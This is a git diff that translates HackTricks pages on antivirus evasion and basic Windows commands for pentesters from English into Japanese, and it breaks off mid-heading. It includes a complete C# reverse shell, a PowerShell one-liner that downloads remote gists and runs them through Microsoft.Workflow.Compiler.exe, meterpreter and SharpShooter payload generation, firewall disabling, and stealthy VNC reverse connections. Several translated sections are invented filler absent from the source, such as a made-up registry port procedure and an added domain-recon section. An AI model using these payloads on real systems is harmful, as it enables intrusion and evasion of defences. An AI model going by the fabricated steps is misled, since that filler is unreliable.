-## C# Assembly Reflection +## C#アセンブリのリフレクション -Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV. +C#バイナリをメモリにロードする方法はかなり以前から知られており、AVに検出されずにポストエクスプロイテーションツールを実行する非常に優れた方法です。 -Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process. +ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体のAMSIのパッチ適用について心配する必要はありません。 -Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so: +ほとんどのC2フレームワーク(sliver、Covenant、metasploit、CobaltStrike、Havocなど)はすでにメモリ内でC#アセンブリを直接実行する機能を提供していますが、実行方法はさまざまです。 * **Fork\&Run** -It involves **spawning a new sacrificial process**, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. This has both its benefits and its drawbacks. The benefit to the fork and run method is that execution occurs **outside** our Beacon implant process. This means that if something in our post-exploitation action goes wrong or gets caught, there is a **much greater chance** of our **implant surviving.** The drawback is that you have a **greater chance** of getting caught by **Behavioural Detections**. +これは、**新しい犠牲プロセスを生成**し、ポストエクスプロイテーションの悪意のあるコードをその新しいプロセスに注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了するというものです。これには利点と欠点があります。フォークと実行のメリットは、実行が**Beaconインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイテーションのアクションで何かがうまくいかなかったり検出されたりした場合、**インプラントが生き残る可能性がはるかに高い**ということを意味します。欠点は、**行動検出**によって**検出される可能性が高い**ということです。
* **Inline** -It's about injecting the post-exploitation malicious code **into its own process**. This way, you can avoid having to create a new process and getting it scanned by AV, but the drawback is that if something goes wrong with the execution of your payload, there's a **much greater chance** of **losing your beacon** as it could crash. +これは、ポストエクスプロイテーションの悪意のあるコードを**独自のプロセスに注入**することです。これにより、新しいプロセスを作成してAVにスキャンされることを回避できますが、ペイロードの実行中に何かがうまくいかない場合、**ビーコンがクラッシュしてしまう可能性がはるかに高くなります**。
{% hint style="info" %} -If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) +C#アセンブリのロードについて詳しく読みたい場合は、この記事[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)とそのInlineExecute-Assembly BOF([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))をご覧ください。 {% endhint %} -You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). +また、PowerShellからもC#アセンブリをロードすることができます。[Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)をチェックしてください。 -## Using Other Programming Languages +## 他のプログラミング言語の使用 -As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**. +[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、攻撃者が制御するSMB共有へのアクセスを妨害されたマシンに与えることで、他の言語を使用して悪意のあるコードを実行することが可能です。 -By allowing access to the Interpreter Binaries and the environment on the SMB share you can **execute arbitrary code in these languages within memory** of the compromised machine. +SMB共有上のインタプリタ環境とインタプリタバイナリにアクセスを許可することで、妨害されたマシンのメモリ内でこれらの言語で任意のコードを実行できます。 -The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful. +リポジトリは次のように述べています:Defenderはスクリプトをスキャンしますが、Go、Java、PHPなどを利用することで、静的な署名をバイパスする**柔軟性が向上**します。これらの言語でランダムな非難読み込み逆シェルスクリプトをテストした結果、成功しました。 -## Advanced Evasion +## 高度な回避 -Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it's pretty much impossible to stay completely undetected in mature environments. +回避は非常に複雑なトピックであり、1つのシステムに多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出を回避することはほぼ不可能です。 -Every environment you go against will have their own strengths and weaknesses. +対戦するすべての環境にはそれぞれ独自の強みと弱点があります。 -I highly encourage you go watch this talk from [@ATTL4S](https://twitter.com/DaniLJ94), to get a foothold into more Advanced Evasion techniques. +[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークを見ることを強くお勧めします。これにより、より高度な回避技術についての基礎が得られます。 {% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %} -his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth. +[@mariuszbit](https://twitter.com/mariuszbit)によるEvasion in Depthについての素晴らしいトークもあります。 {% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %} -## **Old Techniques** +## **古いテクニック** -### **Telnet Server** - -Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing: +### **Telnetサーバー** +Windows10まで、すべてのWindowsには**Telnetサーバー**が付属しており、(管理者として)インストールすることができました。 ``` pkgmgr /iu:"TelnetServer" /quiet ``` - -Make it **start** when the system is started and **run** it now: - +システムが起動したときに**開始**し、**今すぐ実行**します: ``` sc config TlntSVR start= auto obj= localsystem ``` +**telnetポートの変更**(ステルス)とファイアウォールの無効化: -**Change telnet port** (stealth) and disable firewall: +```plaintext +1. レジストリエディタを開きます。 +2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces に移動します。 +3. ネットワークインターフェースのGUIDを見つけます。 +4. 新しいDWORD値を作成し、名前を"TcpAllowedPorts"とします。 +5. 値データに変更したいポート番号を入力します(例: 1337)。 +6. レジストリを保存し、エディタを閉じます。 +ファイアウォールの無効化: +1. コントロールパネルを開きます。 +2. "Windows Defender ファイアウォール"を選択します。 +3. "Windows Defender ファイアウォールの設定の変更"をクリックします。 +4. "プライベート ネットワークの設定"と"パブリック ネットワークの設定"の両方で"ファイアウォールをオフにする"を選択します。 +5. 変更を保存し、コントロールパネルを閉じます。 +``` + +これにより、telnetポートが変更され、ファイアウォールが無効化されます。 ``` tlntadmn config port=80 netsh advfirewall set allprofiles state off ``` - ### UltraVNC -Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup) +以下からダウンロードしてください:[http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(セットアップではなく、バイナリのダウンロードが必要です) -**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server: +**ホスト側での設定**:_**winvnc.exe**_ を実行し、サーバーを設定します: -* Enable the option _Disable TrayIcon_ -* Set a password in _VNC Password_ -* Set a password in _View-Only Password_ +* _Disable TrayIcon_ オプションを有効にします +* _VNC Password_ にパスワードを設定します +* _View-Only Password_ にパスワードを設定します -Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim** +その後、バイナリの _**winvnc.exe**_ と新しく作成されたファイル _**UltraVNC.ini**_ を **被害者** の中に移動します -#### **Reverse connection** +#### **逆接続** -The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect ::5900` +**攻撃者**は、彼の **ホスト** 内でバイナリ `vncviewer.exe -listen 5900` を実行して、逆接続の **VNC 接続** を受け付ける準備をします。その後、**被害者** の中で、winvnc デーモンを起動します `winvnc.exe -run` そして `winwnc.exe [-autoreconnect] -connect ::5900` を実行します -**WARNING:** To maintain stealth you must not do a few things +**警告:** ステルス性を維持するためには、以下のことを行わないでください -* Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc` -* Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open -* Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png) +* 既に実行中の場合は `winvnc` を起動しないでください。そうすると [ポップアップ](https://i.imgur.com/1SROTTl.png) が表示されます。実行中かどうかは `tasklist | findstr winvnc` で確認してください +* 同じディレクトリに `UltraVNC.ini` がない状態で `winvnc` を起動しないでください。そうすると [設定ウィンドウ](https://i.imgur.com/rfMQWcf.png) が開きます +* ヘルプのために `winvnc -h` を実行しないでください。そうすると [ポップアップ](https://i.imgur.com/oc18wcu.png) が表示されます ### GreatSCT -Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) - +以下からダウンロードしてください:[https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) ``` git clone https://github.com/GreatSCT/GreatSCT.git cd GreatSCT/setup/ @@ -395,9 +389,7 @@ cd GreatSCT/setup/ cd .. ./GreatSCT.py ``` - -Inside GreatSCT: - +GreatSCT内部: ``` use 1 list #Listing available payloads @@ -407,29 +399,23 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` - -Now **start the lister** with `msfconsole -r file.rc` and **execute** the **xml payload** with: - +今、`msfconsole -r file.rc`でリスナーを開始し、次のコマンドでXMLペイロードを実行します: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` +**現在の防御者はプロセスを非常に速く終了します。** -**Current defender will terminate the process very fast.** - -### Compiling our own reverse shell +### 自分自身の逆シェルをコンパイルする https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15 -#### First C# Revershell - -Compile it with: +#### 最初のC#逆シェル +次のコマンドでコンパイルします: ``` c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt ``` - -Use it with: - +以下の方法で使用してください: ``` back.exe ``` @@ -447,79 +433,75 @@ using System.Net.Sockets; namespace ConnectBack { - public class Program - { - static StreamWriter streamWriter; +public class Program +{ +static StreamWriter streamWriter; - public static void Main(string[] args) - { - using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1]))) - { - using(Stream stream = client.GetStream()) - { - using(StreamReader rdr = new StreamReader(stream)) - { - streamWriter = new StreamWriter(stream); - - StringBuilder strInput = new StringBuilder(); +public static void Main(string[] args) +{ +using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1]))) +{ +using(Stream stream = client.GetStream()) +{ +using(StreamReader rdr = new StreamReader(stream)) +{ +streamWriter = new StreamWriter(stream); - Process p = new Process(); - p.StartInfo.FileName = "cmd.exe"; - p.StartInfo.CreateNoWindow = true; - p.StartInfo.UseShellExecute = false; - p.StartInfo.RedirectStandardOutput = true; - p.StartInfo.RedirectStandardInput = true; - p.StartInfo.RedirectStandardError = true; - p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); - p.Start(); - p.BeginOutputReadLine(); +StringBuilder strInput = new StringBuilder(); - while(true) - { - strInput.Append(rdr.ReadLine()); - //strInput.Append("\n"); - p.StandardInput.WriteLine(strInput); - strInput.Remove(0, strInput.Length); - } - } - } - } - } +Process p = new Process(); +p.StartInfo.FileName = "cmd.exe"; +p.StartInfo.CreateNoWindow = true; +p.StartInfo.UseShellExecute = false; +p.StartInfo.RedirectStandardOutput = true; +p.StartInfo.RedirectStandardInput = true; +p.StartInfo.RedirectStandardError = true; +p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); +p.Start(); +p.BeginOutputReadLine(); - private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) - { - StringBuilder strOutput = new StringBuilder(); +while(true) +{ +strInput.Append(rdr.ReadLine()); +//strInput.Append("\n"); +p.StandardInput.WriteLine(strInput); +strInput.Remove(0, strInput.Length); +} +} +} +} +} - if (!String.IsNullOrEmpty(outLine.Data)) - { - try - { - strOutput.Append(outLine.Data); - streamWriter.WriteLine(strOutput); - streamWriter.Flush(); - } - catch (Exception err) { } - } - } +private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) +{ +StringBuilder strOutput = new StringBuilder(); - } +if (!String.IsNullOrEmpty(outLine.Data)) +{ +try +{ +strOutput.Append(outLine.Data); +streamWriter.WriteLine(strOutput); +streamWriter.Flush(); +} +catch (Exception err) { } +} +} + +} } ``` - [https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs) -### C# using compiler - +### コンパイラを使用したC# ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt ``` - [REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066) [REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639) -Automatic download and execution: - +自動ダウンロードと実行: ```csharp 64bit: powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell @@ -527,33 +509,29 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g 32bit: powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell ``` - {% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %} -C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) +C#の難読化ツールリスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) ### C++ - ``` sudo apt-get install mingw-w64 i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc ``` - [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp) -Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/ +Merlin, Empire, Puppy, SalsaTools [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/) [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf) -https://github.com/l0ss/Grouper2 +[https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) {% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %} {% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %} -### Other tools - +### その他のツール ```bash # Veil Framework: https://github.com/Veil-Framework/Veil @@ -563,23 +541,22 @@ https://www.shellterproject.com/download/ # Sharpshooter # https://github.com/mdsecactivebreach/SharpShooter -# Javascript Payload Stageless: +# Javascript Payload Stageless: SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3 -# Stageless HTA Payload: +# Stageless HTA Payload: SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee # Staged VBS: SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4 -# Donut: +# Donut: https://github.com/TheWover/donut # Vulcan https://github.com/praetorian-code/vulcan ``` - -### More +### もっと {% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %} @@ -587,10 +564,10 @@ https://github.com/praetorian-code/vulcan ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/windows-hardening/basic-cmd-for-pentesters.md b/windows-hardening/basic-cmd-for-pentesters.md index e73f46120..1449cbd00 100644 --- a/windows-hardening/basic-cmd-for-pentesters.md +++ b/windows-hardening/basic-cmd-for-pentesters.md @@ -1,21 +1,20 @@ -# Basic Win CMD for Pentesters +# ペンテスターのための基本的なWin CMD
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## System info - -### Version and Patches info +## システム情報 +### バージョンとパッチ情報 ```bash wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture systeminfo @@ -29,46 +28,112 @@ hostname DRIVERQUERY #3rd party driver vulnerable? ``` - -### Environment - +### 環境 ```bash set #List all environment variables ``` +以下は強調するいくつかの環境変数です: -Some env variables to highlight: - -* **COMPUTERNAME**: Name of the computer -* **TEMP/TMP:** Temp folder -* **USERNAME:** Your username -* **HOMEPATH/USERPROFILE:** Home directory +* **COMPUTERNAME**: コンピュータの名前 +* **TEMP/TMP:** 一時フォルダ +* **USERNAME:** ユーザー名 +* **HOMEPATH/USERPROFILE:** ホームディレクトリ * **windir:** C:\Windows -* **OS**:Windos OS -* **LOGONSERVER**: Name of domain controller -* **USERDNSDOMAIN**: Domain name to use with DNS -* **USERDOMAIN**: Name of the domain - +* **OS**: Windows OS +* **LOGONSERVER**: ドメインコントローラの名前 +* **USERDNSDOMAIN**: DNSで使用するドメイン名 +* **USERDOMAIN**: ドメインの名前 ```bash nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC ``` +### マウントされたディスク -### Mounted disks +Mounted disks refer to the additional storage devices that are attached and accessible to a computer system. These disks can be physical hard drives, solid-state drives (SSDs), or virtual disks. When a disk is mounted, it becomes part of the file system hierarchy and can be accessed and used by the operating system and applications. +In Windows, you can view the mounted disks using the `mountvol` command. This command displays a list of all the mounted volumes along with their corresponding volume names and paths. To execute the `mountvol` command, open a Command Prompt window and type: + +```plaintext +mountvol +``` + +The output will show the volume names and paths of the mounted disks. You can also use the `mountvol` command with specific parameters to perform actions such as creating or deleting mount points. + +It is important for pentesters to be aware of the mounted disks on a system as they may contain valuable information or provide potential attack vectors. By understanding the mounted disks, pentesters can identify possible targets for further investigation or exploitation. ```bash (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) wmic logicaldisk get caption,description,providername ``` - ### [Defender](authentication-credentials-uac-and-efs.md#defender) -### Recycle Bin +Windows Defenderは、Windowsオペレーティングシステムに組み込まれたマルウェア対策ソフトウェアです。Windows Defenderは、コンピュータを保護し、悪意のあるソフトウェアやウイルスから守るために使用されます。 +### ゴミ箱 + +ゴミ箱は、Windowsオペレーティングシステムで削除されたファイルを一時的に保存する場所です。ゴミ箱には、誤って削除されたファイルを復元する機能があります。ゴミ箱は、ディスク容量を節約するために定期的に空にすることが推奨されます。 ```bash dir C:\$Recycle.Bin /s /b ``` +### プロセス、サービス、ソフトウェア -### Processes, Services & Software +#### Processes +#### プロセス + +To list all running processes, you can use the `tasklist` command: + +すべての実行中のプロセスをリストするには、`tasklist` コマンドを使用します。 + +```plaintext +tasklist +``` + +To kill a process, you can use the `taskkill` command followed by the process ID (PID): + +プロセスを終了するには、`taskkill` コマンドに続けてプロセスID(PID)を指定します。 + +```plaintext +taskkill /PID +``` + +#### Services + +#### サービス + +To list all running services, you can use the `net start` command: + +すべての実行中のサービスをリストするには、`net start` コマンドを使用します。 + +```plaintext +net start +``` + +To stop a service, you can use the `net stop` command followed by the service name: + +サービスを停止するには、`net stop` コマンドに続けてサービス名を指定します。 + +```plaintext +net stop +``` + +#### Software + +#### ソフトウェア + +To list installed software, you can use the `wmic` command with the `product` parameter: + +インストールされているソフトウェアをリストするには、`wmic` コマンドに `product` パラメータを使用します。 + +```plaintext +wmic product get name,version +``` + +To uninstall software, you can use the `wmic` command with the `product` parameter and the `call uninstall` method: + +ソフトウェアをアンインストールするには、`wmic` コマンドに `product` パラメータと `call uninstall` メソッドを使用します。 + +```plaintext +wmic product where name="" call uninstall +``` ```bash schtasks /query /fo LIST /v #Verbose out of scheduled tasks schtasks /query /fo LIST 2>nul | findstr TaskName @@ -82,9 +147,49 @@ dir /a "C:\Program Files" #Installed software dir /a "C:\Program Files (x86)" #Installed software reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software ``` +## ドメイン情報 -## Domain info +### ドメインの所有者の情報の取得 +ドメインの所有者情報を取得するためには、Whoisクエリを使用します。Whoisクエリは、ドメイン名を指定して、そのドメインの登録情報を取得するためのコマンドです。 + +```plaintext +whois <ドメイン名> +``` + +### DNSレコードの取得 + +ドメインのDNSレコードを取得するためには、nslookupコマンドを使用します。nslookupコマンドは、指定したドメイン名に関連するDNS情報を取得するためのコマンドです。 + +```plaintext +nslookup <ドメイン名> +``` + +### ドメインのサブドメインの検索 + +ドメインのサブドメインを検索するためには、dnsenumツールを使用します。dnsenumツールは、指定したドメインに関連するサブドメインを検索するためのツールです。 + +```plaintext +dnsenum <ドメイン名> +``` + +### ドメインのIPアドレスの取得 + +ドメインのIPアドレスを取得するためには、pingコマンドを使用します。pingコマンドは、指定したドメイン名に対してICMPエコーリクエストを送信し、そのドメインのIPアドレスを取得するためのコマンドです。 + +```plaintext +ping <ドメイン名> +``` + +### ドメインのポートスキャン + +ドメインのポートスキャンを実行するためには、nmapツールを使用します。nmapツールは、指定したドメインに対してポートスキャンを実行し、オープンしているポートを特定するためのツールです。 + +```plaintext +nmap -p- <ドメイン名> +``` + +以上がドメイン情報の取得に関する基本的なコマンドです。これらのコマンドを使用することで、ドメインに関する重要な情報を収集することができます。 ```bash # Generic AD info echo %USERDOMAIN% #Get domain name @@ -129,18 +234,48 @@ nltest /domain_trusts #Mapping of the trust relationships # Get all objects inside an OU dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" ``` +### ログとイベント -### Logs & Events +#### Windowsイベントログ +Windowsイベントログは、システムの状態やアクティビティに関する情報を提供する重要なリソースです。以下は、一般的なWindowsイベントログの種類です。 + +- **Application**: アプリケーションに関連するイベントが記録されます。 +- **Security**: セキュリティに関連するイベントが記録されます。 +- **System**: システムに関連するイベントが記録されます。 +- **Setup**: インストールやアンインストールに関連するイベントが記録されます。 +- **Forwarded Events**: リモートコンピュータから転送されたイベントが記録されます。 + +#### イベントログの表示 + +イベントログを表示するには、`eventvwr.msc`コマンドを使用します。このコマンドを実行すると、イベントビューアが開き、各イベントログのエントリを表示することができます。 + +#### イベントログのクリア + +イベントログをクリアするには、`wevtutil cl <ログ名>`コマンドを使用します。`<ログ名>`には、クリアしたいイベントログの名前を指定します。 + +#### イベントログのエクスポート + +イベントログをエクスポートするには、`wevtutil epl <ログ名> <出力ファイル名>`コマンドを使用します。`<ログ名>`には、エクスポートしたいイベントログの名前を指定し、`<出力ファイル名>`には、エクスポート先のファイル名を指定します。 + +#### イベントログのインポート + +イベントログをインポートするには、`wevtutil im <ログ名>`コマンドを使用します。`<ログ名>`には、インポートしたいイベントログの名前を指定します。 + +#### イベントログの削除 + +イベントログを削除するには、`wevtutil cl <ログ名>`コマンドを使用します。`<ログ名>`には、削除したいイベントログの名前を指定します。 + +#### イベントログの設定 + +イベントログの設定を変更するには、`wevtutil sl <ログ名> /e:true`コマンドを使用します。`<ログ名>`には、設定を変更したいイベントログの名前を指定します。 ```bash #Make a security query using another credentials wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 ``` +## ユーザーとグループ -## Users & Groups - -### Users - +### 